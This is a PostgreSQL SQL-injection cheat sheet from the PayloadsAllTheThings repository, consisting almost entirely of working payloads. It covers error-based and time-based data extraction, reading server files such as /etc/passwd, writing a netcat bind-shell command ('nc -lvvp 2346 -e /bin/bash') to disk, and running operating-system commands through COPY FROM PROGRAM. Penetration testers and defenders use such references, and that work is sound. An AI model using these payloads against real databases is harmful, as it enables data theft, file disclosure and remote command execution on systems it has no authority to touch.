PayloadsAllTheThings/SQL Injection/PostgreSQL Injection.md

67 lines
2.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# POSTGRESQL
## PostgreSQL Comments
```sql
--
/**/
```
## PostgreSQL Error Based - Basic
```sql
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
```
## PostgreSQL Time Based
```sql
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
```
## PostgreSQL File Read
```sql
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
```
NOTE: ``pg_read_file` doesn't accept the `/` character.
```sql
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
```
## PostgreSQL File Write
```sql
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
```
## PostgreSQL - Command execution
CVE-20199193, can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
```SQL
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
```
![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png)
## References
* [A Penetration Testers Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)